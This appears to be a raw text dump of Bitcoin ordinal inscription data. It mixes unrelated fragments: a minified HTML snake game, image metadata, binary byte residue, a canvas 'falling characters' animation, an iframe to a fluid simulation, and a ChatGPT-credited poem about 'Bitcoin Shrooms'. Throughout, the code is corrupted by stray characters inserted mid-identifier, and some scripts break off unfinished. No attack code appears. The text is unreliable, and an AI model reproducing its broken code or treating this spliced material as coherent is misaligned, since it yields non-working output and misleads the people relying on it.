BKVAAwQl4qBWHlvkKxeKuCN/eCVXF1vkcceyJUf3YYYw3nTQAEHpoOlat9/mXajbG5rxtmHDhsrjq9euG/JM5hdxnjpogKAUaICgJiriyD+qnHvrLdkr+4Y/maZ8e/2cQ5/71m0NTIRqrd9FtAiA4dNBAwSlQAMEtWj12nUHm54EAHPpoAGCUqABglKgAYJSoAGCUqABglKgAYJSoAGCUqABglKgAYJSoAGCUqABglKgAYJSoAGCUqABglKgAYJSoAGCUqABglKgAYJSoAGCUqABglKgAYJSoAGCUqABglKgAYJSoAGCUqABglKgAYJSoAGCUqABglKgAYL6fzdpKglDm3d4AAAAAElFTkSuQmCC" class="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementByM
Id("gamecanvas"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function loop(){requestAnimationFrame(loop),++count<4||(count=0,context.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snakM
e.x,y:snake.y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomIMj
nt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
FjDOUT:9704CF6A7FFFA2A2F70F597E6D4AA759EFF376D0199A50453E639567250312C5
FjDOUT:893CD8DA32593B0F8D0CF1BC3D2C5DFF55047435E2170E5FBF67EFA9BE3F45FD
1http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotosM
hop 24.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:694F0C07A4D911ED8683FB56C4B5410B" xmpMM:DocumentID="xmp.did:694F0C08A4D911ED8683FB56C4B5410B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:694F0C05A4D911ED8683FB56C4B5410B" stRef:documentID="xmp.did:694F0C06A4D911ED8683FB56C4B5410B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
-& %------------/-------------------------------------
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlnsM
:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:d2ae1f6b-4d7c-42bd-a54b-c359de3d5ba4" xmpMM:InstanceID="xmp.iid:deacd72c-a023-4295-8f33-8ebd68042618" xmpMM:OriginalDocumentID="xmp.did:ec81cd6e-06fe-4adf-9d3a-0bb9fb55d617" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676407336641589" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T07:42:09+11:00" xmp:ModifyDate="2023M
:02:15T07:42:09+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:b7e28d26-05ba-4bf1-a874-fe80d99db1f7" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T07:42:16"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                    M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M(
                                                                                                                                                                                                                                                                                     <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://nsM
.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:0cf33691-a3f4-42ec-a9bc-bd7fa1096ce0" xmpMM:InstanceID="xmp.iid:c9ee9f3a-2268-4329-9405-7cde71d5d22f" xmpMM:OriginalDocumentID="xmp.did:c104b424-5ea8-4c58-ba8f-dc569ef8ea92" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="WindowM
s" GIMP:TimeStamp="1676407361071151" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T07:42:38+11:00" xmp:ModifyDate="2023:02:15T07:42:38+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:9ca70936-8380-4466-8bc4-4d22c46289d5" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T07:42:41"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                      M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                   <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://nsM
.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:7cf9c060-a3c6-4f0f-bbe5-14147385912e" xmpMM:InstanceID="xmp.iid:bcb09e18-ed15-4df0-917e-3f486f9632de" xmpMM:OriginalDocumentID="xmp.did:b14b2dee-6ab0-4aba-bb19-8e11142daf17" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="WindowM
s" GIMP:TimeStamp="1676407382699334" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T07:43:01+11:00" xmp:ModifyDate="2023:02:15T07:43:01+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:9015c708-ada1-45d3-abbc-f66e80dab675" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T07:43:02"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                      M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                   <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.M
0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:3899bcf5-7ed2-4a15-8389-ee9d77ebb759" xmpMM:InstanceID="xmp.iid:d4453039-79ed-4e36-b92f-45ff9fd2d66f" xmpM
MM:OriginalDocumentID="xmp.did:c4ad6166-cb9e-415b-adca-c2d73a97b6d6" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676407414613228" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T07:43:33+11:00" xmp:ModifyDate="2023:02:15T07:43:33+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:a1c3d051-7dd2-4c66-b05b-b591061f53d3" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="202M
3-02-15T07:43:34"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                              M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        LN                                                           <?xpacket end="w"?>h!
text/html;charset=utf-8
<iframe src="https://paveldogreat.github.io/WebGL-Fluid-Simulation/" style="border:0px #ffffff none;" name="myiFrame" scrolling="no" frameborder="1" marginheight="0px" marginwidth="0px" height="1000px" width="1900px" allowfullscreen></iframe>
"!&+7/&)4)!"0A149;>>>%.DIC<H7=>;
;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=
=)#)==================================================
$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=
=)#)==================================================
 00000000000000000000000000000000000000000000000000
"!&+7/&)4)!"0A149;>>>%.DIC<H7=>;
;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
+;,/35888!*=A<6A2785
$55555555555555555555555555555555555555555555555555
+;,/35888!*=A<6A2785
$55555555555555555555555555555555555555555555555555
  %*5-%'2(  .?/279<<<$-BFA:F5;<9
9& &99999999999999999999999999999999999999999999999999
*9*-13666 (;?:4>0563
"33333333333333333333333333333333333333333333333333
$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=
=)#)==================================================
-=-157:::#+?D?8C49:7
%77777777777777777777777777777777777777777777777777
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
ohttp://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.171c27fab, 2022/08/16-22:35:41        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="03EE4F5E4D4M
9F02BABEB929C008C8722" xmpMM:DocumentID="xmp.did:7A6F576EA4CD11EDAE48EF0C2CFEA9ED" xmpMM:InstanceID="xmp.iid:7A6F576DA4CD11EDAE48EF0C2CFEA9ED" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:23af1787-97dc-4c5a-936b-6af0112d6c64" stRef:documentID="xmp.did:2E1986E53BC811ECBFDCB66CD4194D92"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDD
&6& &6D6++6DDDB5BDDDDDDDDM
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
Compressed by jpeg-recompress
"#15` 024RS$3AQU@BP%CTbce
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
text/html;charset=utf-8
        <!DOCTYPE html>
                <html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
                    <title>
                    <body>
                        <canvas id="canvas">Big browser is watching you.</canvas>
                        <canvas id="canvas2">Big browser is watching you.</canvas>
                        <script>
                            var canvas = document.getElementById( 'canvas' ),
                            ctx = canvas.getContext( '2d'M
                            canvas2 = document.getElementById( 'canvas2' ),
                            ctx2 = canvas2.getContext( '2d' ),
                            cw = window.innerWidth,
                            ch = window.innerHeight,
                            charArr = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'],
                            maxCharCount = 100,
                            fallingCharArr = [],
                            fontSize = 16;
                           M
 canvas.width = canvas2.width = cw;
                            canvas.height = canvas2.height = ch;
                            const colorsDarkBG = ['#ffbf00', '#7c0a02', '#7fffd4', '#0048ba', '#0F0', '#8a2be2', '#ffffff']
                            function randomInt(min, max) {
                                return Math.floor(Math.random() * (max - min) + min);
                            }
                            function randomFloat(min, max) {
                                return Math.random() * (M
                            }
                            function Point(x, y) {
                                this.x = x;
                                this.y = y;
                            }
                            function randomColorLight() { return colorsLightBG[randomInt(0, colorsLightBG.length - 1)]; }
                            function randomColorDark() { return colorsDarkBG[randomInt(0, colorsDarkBG.length - 1)]; }
                            Point.prototype.draw = functionM
                                this.value = charArr[randomInt(0, charArr.length - 1)].toUpperCase();
                                this.speed = randomFloat(2,5);
                                ctx2.fillStyle = "rgba(255,255,255,0.8)";
                                ctx2.font = fontSize + "px san-serif";
                                ctx2.fillText(this.value, this.x, this.y);
                                ctx.fillStyle = "#7c0a02";
                                ctx.font = fontSize + "px san-seriM
                                ctx.fillText(this.value, this.x, this.y);

                this.y += this.speed;
                if(this.y > ch) {
                    this.y = randomFloat(-100,0);
                    this.speed = randomFloat(1,2);
                    }
                for(var i = 0; i < cw/16 ; i++) {
                    fallingCharArr.push(new Point(i*fontSize,randomFloat(-500,0)));
                      M
      var update = function () {
                                ctx.fillStyle = "rgba(0,0,0,0.05)";
                                ctx.fillRect(0, 0, cw, ch);
                                ctx2.clearRect(0, 0, cw, ch);
                                var i = fallingCharArr.length;
                                while (i--) {
                                    fallingCharArr[i].draw(ctx);
                                    var v = fallingCharArr[i];
                                }
                      L
          requestAnimationFrame(update);
                            }
                            update();
                        </script >
                    </body >
                </html >
                    h!
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
text/html;charset=utf-8
    <title>Bitcoin Shrooms Poems - Day 4</title>
    <meta name="description" content="Ode to Bitcoin Shrooms">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <h1>The Locked Doors of the Bitcoin Shroom Discord, by Shroomgar Shallan Shoe</h1>
        Amidst the land of cryptocurrency,<br />
        There lies a treasure, rare to see,<br />
        The "Shrooms" they call it, a mystic brew,<br />
        With beauty beyond measM
ure, in digital hue.<br /><br />
        But access to the server, is a cruel game,<br />
        Locked doors keep me from the coveted fame,<br />
        And so I stand, in solitude and strife,<br />
        Longing to join the members, and share in life.<br /><br />
        Oh, how I yearn to be a part,<br />
        Of the knowledge shared, in that hallowed hall of art.<br />
        To bask in the glow, of each shroom's might,<br />
        And bask in the glory, of their digital light.<br /><br />
And so I wait, in this state of woe,<br />
        Hoping that the doors will open, and let me go,<br />
        And acquire that shroom, with such delight,<br />
        And bask in the beauty, of its endless light.<br /><br />
        ---------------------------------------------
    <h3>Previous Poems</h3>
    <ul><a href="https://ordinals.com/inscription/52250a916387f75c5ec32cdb1b60134f3242a78bdcb31a67c347b10be3e50ce8i0" rel="noopener noreferrer" target="_blank">Inscription #67838 - Oh how I long to acM
quire a Bitcoin Shroom</a></ul>
    <ul><a href="https://ordinals.com/inscription/229162b15c54b8bcefb560546ecacc39b9cc2955b99eb2309dce6ba728ee60bei0" rel="noopener noreferrer" target="_blank">Inscription #68225 - Oh how I longeth to acquireth a Bitcoin Shroom</a></ul>
    <ul><a href="https://ordinals.com/inscription/b19d7c45b8994d620bbeaf1bfaf2923af3c11379753705c98c5561ea59819010i0" rel="noopener noreferrer" target="_blank">Inscription #76809 - Oh how I long to acquire a bitcoin shroom, by Shroom Shroomerstein</a>Md
    <p>---------------------------------------------</p>
  <footer>These poems are created by ChatGPT and inscribed to be immutable artifacts in history to forever be cherised by the masses.<br /><br />
    With love,<br /><a href="https://twitter.com/maximonee_" rel="noopener noreferrer" target="_blank">Maximonee</a>
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
"-)#""#)8/////8A;;;;;;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#1?1&&1?A?;/;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
"-)#""#)8/////8A;;;;;;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#1?1&&1?A?;/;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
|http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:C8C6485BA8C211ED8D3DC9A456C4578D" xmpMM:InstanceID="xmp.iid:C8C6485AA8C211ED8D3DC9A456C4578D" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:e0d18448-e896-5e43-a0da-1b9382b0ded8" stRef:documentID="xmp.did:e0d18448-e896-5e43-a0da-1b9382b0ded8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDD
&6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
text/plain;charset=utf-8
ETCHING.NET - DIGITAL ARTIFACT INDEX
Happy Valentine's Day, friends :)
Dated February 14, 2023
Inscribed by etching.net
Support the preservation of knowledge and culture with Monero (XMR):
8C6s3puMLw2djCDVNGeeWyQDUL3RJrivMK5KNxqsviJdfADtXPsuyxXRYMRdAMgy6m2gHC4kdqPrqNhPcdqr8AeSKXAgm6Jh!
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
c/SBICrypto.com Pool/
6j4ion:6.QmWBusjb6j8C15wcuVNdCoRELsjAMrJP8mu2WUoByKqJ8QhR
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
